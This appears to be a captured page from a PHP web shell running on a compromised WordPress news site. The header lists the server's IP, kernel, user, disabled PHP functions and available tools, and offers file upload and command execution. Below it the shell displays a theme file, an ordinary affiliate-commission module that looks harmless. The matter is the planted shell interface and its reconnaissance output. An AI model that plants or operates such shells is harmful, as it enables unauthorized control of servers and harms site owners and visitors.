AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

403WebShell
403Webshell
Server IP : dzynews.com  /  Your IP : 216.73.217.105
Web Server : nginx/1.30.3
System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 8.2.31
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Modules/Common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Modules/Common//Distribution.php
<?php
namespace B2\Modules\Common;

use B2\Modules\Common\User;
use B2\Modules\Common\Message;
use B2\Modules\Common\IntCode;

class Distribution
{

    public function init()
    {
        add_filter('b2_order_notify_return', array(__CLASS__, 'distribution_action'), 0, 1);
    }

    public static function distribution_action($data)
    {

        if (empty($data))
            return $data;

        if ($data['pay_type'] === 'credit')
            return $data;

        $allow = (int) b2_get_option('distribution_main', 'distribution_open');

        //如果分销是关闭状态
        if (!$allow)
            return $data;

        //如果没有分销对象
        if (!$data['user_id'])
            return $data;

        $distribution_user = get_user_meta($data['user_id'], 'b2_distribution_related', true);
        if (!$distribution_user)
            return $data;

        //允许分销的商品类型
        //g : 购买 ,w : 文章内购 ,x : 资源下载 ,vip : VIP购买 ,cg : 积分购买,v : 视频购买,verify : 认证付费,mission : 签到填坑 , coupon : 优惠劵订单
        $arg = array('g');
        if ($data['order_type'] === 'w' || $data['order_type'] === 'x' || $data['order_type'] === 'v') {

            $allow = get_post_meta($data['post_id'], 'b2_allow_distribution', true);

            if ($allow === '') {
                $allow = -1;
            }

            $allow = (int) $allow;

            if ($allow === 0)
                return $data;

            if ($allow === -1) {
                if ((int) b2_get_option('distribution_main', 'distribution_post')) {
                    $arg[] = 'w';
                    $arg[] = 'x';
                    $arg[] = 'v';
                }
            } else {
                $arg[] = 'w';
                $arg[] = 'x';
                $arg[] = 'v';
            }
        }

        if (b2_get_option('distribution_main', 'distribution_vip')) {
            $arg[] = 'vip';
        }

        if (b2_get_option('distribution_main', 'distribution_cg')) {
            $arg[] = 'cg';
        }

        if (b2_get_option('distribution_main', 'distribution_verify')) {
            $arg[] = 'verify';
        }

        $allow = apply_filters('b2_distribution_allow', $arg);

        if (!in_array($data['order_type'], $allow))
            return $data;

        $action = 'action_' . $data['order_type'];

        return self::$action($data);

    }

    public static function action_x($data)
    {
        self::action_w($data);
        return $data;
    }

    public static function action_vip($data)
    {
        self::update_distribution_order($data);
        return $data;
    }

    public static function action_cg($data)
    {
        self::update_distribution_order($data);
        return $data;
    }

    public static function action_verify($data)
    {
        self::update_distribution_order($data);
        return $data;
    }

    public static function action_v($data)
    {
        self::action_w($data);
        return $data;
    }

    public static function action_w($data)
    {
        //检查是否允许分销
        $allow = get_post_meta($data['post_id'], 'b2_allow_distribution', true);
        if ($allow === '')
            $allow = 1;
        if ((int) $allow) {
            self::update_distribution_order($data);
        }

        return $data;
    }

    public static function action_g($data)
    {

        $post_data = json_decode(stripslashes($data['order_value']), true);

        if ($post_data) {
            $ids = $post_data['products'];

            $money = 0;

            global $wpdb;
            $table_name = $wpdb->prefix . 'zrz_order';

            $gx_order_id = $data['order_id'];

            //检查是否允许分销
            foreach ($ids as $k => $v) {

                $res = $wpdb->get_row(
                    $wpdb->prepare("SELECT * FROM $table_name WHERE `order_id`=%s", $gx_order_id . '-' . $k),
                    ARRAY_A
                );

                if (!empty($res)) {
                    //检查是否允许分销
                    $allow = get_post_meta($res['post_id'], 'b2_allow_distribution', true);

                    if ($allow === '')
                        $allow = -1;

                    $allow = (int) $allow;

                    if ($allow === 1) {
                        self::update_distribution_order($res);
                    } else if ($allow === -1) {
                        if ((int) b2_get_option('distribution_main', 'distribution_shop')) {
                            self::update_distribution_order($res);
                        }
                    }
                }
            }
        }

        return $data;
    }

    /**
     * 当前用户是否有分销的权限
     *
     * @param [type] $user_id 推广人
     * @param integer $money
     *
     * @return void
     * @author Li Ruchun <lemolee@163.com>
     * @version 1.0.0
     * @since 2018
     */
    public static function user_can_distribution($user_id)
    {

        if ((int) b2_get_option('distribution_main', 'distribution_open') === 0)
            return false;

        $user_distribution = (int) get_user_meta($user_id, 'b2_distribution', true);
        if ($user_distribution === 1)
            return true;

        //获取分销权限
        $role = (int) b2_get_option('distribution_main', 'distribution_conditions');

        if ($role === 0) {
            update_user_meta($user_id, 'b2_distribution', 1);
            return true;
        }

        if ($role === 1) {
            if (get_user_meta($user_id, 'b2_title', true)) {
                update_user_meta($user_id, 'b2_distribution', 1);
                return true;
            }
        }

        if ($role === 2) {
            $lvs = b2_get_option('distribution_main', 'distribution_user_lv');
            if (empty($lvs))
                return false;
            $user_lv = get_user_meta($user_id, 'zrz_lv', true);
            $user_vip = get_user_meta($user_id, 'zrz_vip', true);

            if (in_array($user_lv, (array) $lvs) || in_array($user_vip, (array) $lvs)) {
                update_user_meta($user_id, 'b2_distribution', 1);
                return true;
            }
        }

        return false;
    }

    public static function check_distribution($current_user, $ref)
    {

        $current_user_distribution_related = get_user_meta($current_user, 'b2_distribution_related', true);
        if (!$current_user_distribution_related) {
            $intCode = new IntCode();
            $user_id = $intCode->encode($ref);
            if (self::user_can_distribution($current_user)) {
                update_user_meta($current_user, 'b2_distribution_related', $user_id);
            }
        }
    }

    /**
     * 记录分销订单
     *
     * @param [int] $current_user 当前用户
     * @param [int] $user_id 推广员
     * @param string $lv
     *
     * @return void
     * @author Li Ruchun <lemolee@163.com>
     * @version 1.0.0
     * @since 2018
     */
    public static function update_distribution_order($data)
    {

        //一级分销用户
        $lv1 = get_user_meta($data['user_id'], 'b2_distribution_related', true);
        if ($lv1) {
            $allow = self::user_can_distribution($lv1);
            if ($allow) {
                $ratio = (float) b2_get_option('distribution_main', 'distribution_lv1');

                if ((int) get_user_meta($lv1, 'b2_distribution_ratio', true) === 1) {
                    $ratio = (float) get_user_meta($lv1, 'b2_distribution_lv1', true);
                }

                if ($ratio) {
                    //计算提成金额
                    $money = bcmul($data['order_total'], $ratio, 2);
                    self::insert_distribution_data($lv1, $data['user_id'], 'lv1', $money, $data['post_id'], $data['order_total'], $ratio, $data['order_type']);
                }
            }
        }

        //二级分销用户
        $lv2 = get_user_meta($data['user_id'], 'b2_distribution_related_lv2', true);
        if ($lv2) {
            $allow = self::user_can_distribution($lv2);
            if ($allow) {
                $ratio = (float) b2_get_option('distribution_main', 'distribution_lv2');

                if ((int) get_user_meta($lv2, 'b2_distribution_ratio', true) === 1) {
                    $ratio = (float) get_user_meta($lv2, 'b2_distribution_lv2', true);
                }

                if ((bool) $ratio) {
                    //计算提成金额
                    $money = bcmul($data['order_total'], $ratio, 2);
                    self::insert_distribution_data($lv2, $data['user_id'], 'lv2', $money, $data['post_id'], $data['order_total'], $ratio, $data['order_type']);
                }
            }
        }

        //三级分销用户
        $lv3 = get_user_meta($data['user_id'], 'b2_distribution_related_lv3', true);
        if ($lv3) {
            $allow = self::user_can_distribution($lv3);
            if ($allow) {
                $ratio = (float) b2_get_option('distribution_main', 'distribution_lv3');

                if ((int) get_user_meta($lv3, 'b2_distribution_ratio', true) === 1) {
                    $ratio = (float) get_user_meta($lv3, 'b2_distribution_lv3', true);
                }

                if ((bool) $ratio) {
                    //计算提成金额
                    $money = bcmul($data['order_total'], $ratio, 2);
                    self::insert_distribution_data($lv3, $data['user_id'], 'lv3', $money, $data['post_id'], $data['order_total'], $ratio, $data['order_type']);
                }
            }
        }
    }

    public static function insert_distribution_data($user_id, $current_user_id, $lv, $money, $post_id, $p_total, $ratio, $order_type)
    {

        $author_allow = false;

        if ($order_type === 'w' || $order_type === 'x' || $order_type === 'v') {

            if ($order_type == 'w') {
                $post_type_text = __('文章隐藏内容', 'b2');
            }

            if ($order_type == 'x') {
                $post_type_text = __('下载资源', 'b2');
            }

            if ($order_type == 'v') {
                $post_type_text = __('视频', 'b2');
            }

            $post_author = (int) get_post_field('post_author', $post_id);

            if ($post_author) {
                $total = User::money_change($post_author, -$money);
                if ($total) {
                    Message::update_data([
                        'date' => current_time('mysql'),
                        'from' => $current_user_id,
                        'to' => $post_author,
                        'post_id' => $post_id,
                        'msg' => sprintf(__('${from}购买了您推广的%s:${post_id}', 'b2'), $post_type_text),
                        'type' => 'post_distribution',
                        'type_text' => __('推广成功', 'b2'),
                        'old_row' => 1
                    ]);

                    Gold::update_data([
                        'date' => current_time('mysql'),
                        'from' => $current_user_id,
                        'to' => $post_author,
                        'gold_type' => 1,
                        'post_id' => $post_id,
                        'no' => -$money,
                        'total' => $total,
                        'msg' => sprintf(__('有${count}人购买了您推广的%s:${post_id}', 'b2'), $post_type_text),
                        'type' => 'post_distribution',
                        'type_text' => __('推广消费', 'b2'),
                        'old_row' => 1,
                        'value' => $order_type . '/' . $p_total . '/' . $ratio
                    ]);

                    // Message::add_message(array(
                    //     'user_id'=>$post_author,
                    //     'msg_type'=>69,
                    //     'msg_read'=>1,
                    //     'msg_date'=>current_time('mysql'),
                    //     'msg_users'=>$current_user_id,
                    //     'msg_credit'=>-$money,
                    //     'msg_credit_total'=>$total,
                    //     'msg_key'=>$post_id,
                    //     'msg_value'=>$order_type.'/'.$p_total.'/'.$ratio
                    // ));

                    $author_allow = true;
                }
            }
        }

        if ($author_allow === false && ($order_type === 'w' || $order_type === 'x' || $order_type === 'v')) {
            return;
        }

        $add = get_user_meta($user_id, 'b2_distribution_money', true);

        update_user_meta($user_id, 'b2_distribution_money', bcadd($add, $money, 2));

        if ($order_type == 'vip') {
            $post_type_text = __('会员', 'b2');
        }

        if ($order_type == 'cg') {
            $post_type_text = __('积分', 'b2');
        }

        if ($order_type == 'verify') {
            $post_type_text = __('认证', 'b2');
        }

        Message::update_data([
            'date' => current_time('mysql'),
            'from' => $current_user_id,
            'to' => $user_id,
            'post_id' => $post_id,
            'msg' => sprintf(__('您的合作伙伴${from}购买了%s', 'b2'), $post_type_text),
            'type' => 'post_distribution_' . $lv,
            'type_text' => __('推广成功', 'b2'),
            'old_row' => 1
        ]);

        Gold::update_data([
            'date' => current_time('mysql'),
            'from' => $current_user_id,
            'to' => $user_id,
            'gold_type' => 1,
            'post_id' => $post_id,
            'no' => $money,
            'msg' => sprintf(__('您的合作伙伴${from}购买了%s', 'b2'), $post_type_text),
            'type' => 'post_distribution_' . $lv,
            'type_text' => sprintf(__('%s推广收益', 'b2'), $lv == 'lv1' ? __('一级', 'b2') : ($lv === 'lv2' ? __('二级', 'b2') : __('三级', 'b2'))),
            'value' => $order_type . '/' . $p_total . '/' . $ratio
        ]);

        // Message::add_message(array(
        //     'user_id'=>$user_id,
        //     'msg_type'=>$n,
        //     'msg_read'=>1,
        //     'msg_date'=>current_time('mysql'),
        //     'msg_users'=>$current_user_id,
        //     'msg_credit'=>$money,
        //     'msg_credit_total'=>$total,
        //     'msg_key'=>$post_id,
        //     'msg_value'=>$order_type.'/'.$p_total.'/'.$ratio
        // ));

    }

    public static function get_my_distribution_data($user_id = 0)
    {
        $current_user_id = b2_get_current_user_id();

        if (!$current_user_id)
            return array('error' => __('请先登录', 'b2'));

        if ((int) $user_id !== 0 && user_can($current_user_id, 'administrator')) {
            $current_user_id = $user_id;
        }

        if (!self::user_can_distribution($current_user_id))
            return array(
                'total_money' => '****',
                'ref' => '*********'
            );

        $intCode = new IntCode();
        $ref = $intCode->encode($current_user_id);

        $money = get_user_meta($current_user_id, 'b2_distribution_money', true);
        $money = $money ? $money : 0;

        $data = array(
            'total_money' => $money,
            'ref' => $ref
        );

        $data = apply_filters('b2_get_my_distribution_data', $data);

        return $data;
    }

    public static function escape_array($arr)
    {
        global $wpdb;
        $escaped = array();
        foreach ($arr as $k => $v) {
            if (is_numeric($v))
                $escaped[] = $wpdb->prepare('%d', $v);
            else
                $escaped[] = $wpdb->prepare('%s', $v);
        }
        return implode(',', $escaped);
    }

    public static function get_my_distribution_orders($user_id = 0, $paged = 1)
    {

        $current_user_id = b2_get_current_user_id();

        if (!$current_user_id)
            return array('error' => __('请先登录', 'b2'));

        if ((int) $user_id !== 0 && user_can($current_user_id, 'administrator')) {
            $current_user_id = $user_id;
        }

        $number = 21;
        $offset = ($paged - 1) * $number;

        global $wpdb;
        $table_name = $wpdb->prefix . 'b2_gold';

        $data = $wpdb->get_results(
            $wpdb->prepare(
                "SELECT * FROM $table_name
                WHERE `to` = %d AND (`type`=%s OR `type`=%s OR `type`=%s) ORDER BY id DESC LIMIT %d,%d",
                $current_user_id,
                'post_distribution_lv1',
                'post_distribution_lv2',
                'post_distribution_lv3',
                $offset,
                $number
            )
            ,
            ARRAY_A
        );

        $total = $wpdb->get_var($wpdb->prepare(
            "SELECT COUNT(id) FROM $table_name
            WHERE `to` = %d AND (`type`=%s OR `type`=%s OR `type`=%s)",
            $current_user_id,
            'post_distribution_lv1',
            'post_distribution_lv2',
            'post_distribution_lv3'
        ));

        // $list = Gold::get_gold_data_map($data);

        return array(
            'list' => Gold::get_gold_data_map($data),
            'pages' => ceil($total / $number),
            'total' => $total
        );
    }

    public static function get_my_partner($user_id, $paged)
    {

        $current_user_id = (int) b2_get_current_user_id();

        if ((int) $user_id !== 0 && user_can($current_user_id, 'administrator')) {
            $current_user_id = (int) $user_id;
        }

        $count = 21;

        $offset = ($paged - 1) * $count;

        $args = array(
            'number' => $count,
            'offset' => $offset,
            'order' => 'desc',
            'orderby' => 'user_registered',
            'meta_query' => array(
                'relation' => 'OR',
                array(
                    'key' => 'b2_distribution_related',
                    'value' => $current_user_id,
                    'compare' => '='
                ),
                array(
                    'key' => 'b2_distribution_related_lv2',
                    'value' => $current_user_id,
                    'compare' => '='
                ),
                array(
                    'key' => 'b2_distribution_related_lv3',
                    'value' => $current_user_id,
                    'compare' => '='
                )
            )
        );

        $user_query = new \WP_User_Query($args);
        $authors = $user_query->get_results();

        $data = array();

        if (!empty($authors)) {

            foreach ($authors as $k => $v) {
                $public_data = User::get_user_public_data($v->ID, true);

                $lv1 = (int) get_user_meta($v->ID, 'b2_distribution_related', true);
                $lv2 = (int) get_user_meta($v->ID, 'b2_distribution_related_lv2', true);
                $lv3 = (int) get_user_meta($v->ID, 'b2_distribution_related_lv3', true);

                if ($lv1 === $current_user_id) {
                    $public_data['partner_lv'] = 'lv1';
                }

                if ($lv2 === $current_user_id) {
                    $public_data['partner_lv'] = 'lv2';
                }

                if ($lv3 === $current_user_id) {
                    $public_data['partner_lv'] = 'lv3';
                }

                $data[] = $public_data;
            }
        }

        return [
            'data' => $data,
            'pages' => ceil($user_query->get_total() / $count)
        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit